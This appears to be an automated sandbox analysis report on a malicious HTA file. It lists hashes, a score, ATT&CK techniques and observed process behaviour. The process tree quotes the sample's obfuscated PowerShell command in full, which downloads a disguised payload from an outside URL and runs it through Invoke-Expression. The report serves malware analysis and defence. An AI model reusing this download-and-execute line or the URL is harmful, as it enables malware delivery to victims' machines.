dabdd1dc8f9dd5c796a50f9b09c2831073b318a0421a49af0caa153109e0488a

Analysis

max time kernel
42s
max time network
45s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
28-10-2022 11:49

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General

Target

GORILLA_Last.hta
Size

46KB
MD5

750984a5dbe06c1092efbfdcaa2c0e45
SHA1

7a77048b108835f4ecc15cad2ae2fc3bce2d8b10
SHA256

dabdd1dc8f9dd5c796a50f9b09c2831073b318a0421a49af0caa153109e0488a
SHA512

fc6ee1773eaae435e8f6bc639f7c85dfc72bfd694a84a8d78862863a12317f81d9d19c46b87efa85f86f67bf4541fce07b191b2730ee6a7227762c8bd0803825
SSDEEP

768:otwjF6wFIk//xGWU/NaqjN+yUv4CZgS01ZNuIDyHmPHaPbgtlNJzLa2p9bn+ImY9:WwYwFDYWsjg/48euBtP83NQsSpr47pP/

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	1780	powershell.exe
5	1780	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1780	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1780	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 456 wrote to memory of 1780	456	mshta.exe	29
PID 456 wrote to memory of 1780	456	mshta.exe	29
PID 456 wrote to memory of 1780	456	mshta.exe	29
PID 456 wrote to memory of 1780	456	mshta.exe	29

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\GORILLA_Last.hta"
1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:456
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $kaoskdoaksd = [System.NET.WebRequest]::Create('https://corpolevesuplementos.com.br/2022pws/assyncpws.jpg');$ajdiasjdijasd = $kaoskdoaksd.GetResponse();$KASDJASDU = ([System.IO.StreamReader]($ajdiasjdijasd.GetResponseStream())).ReadToEnd()| .('{1}{0}'-f'EX','I')
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1780

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/456-54-0x0000000074F01000-0x0000000074F03000-memory.dmp

Filesize
8KB

Download
memory/1780-57-0x0000000070DF0000-0x000000007139B000-memory.dmp

Filesize
5.7MB

Download
memory/1780-58-0x0000000070DF0000-0x000000007139B000-memory.dmp

Filesize
5.7MB

Download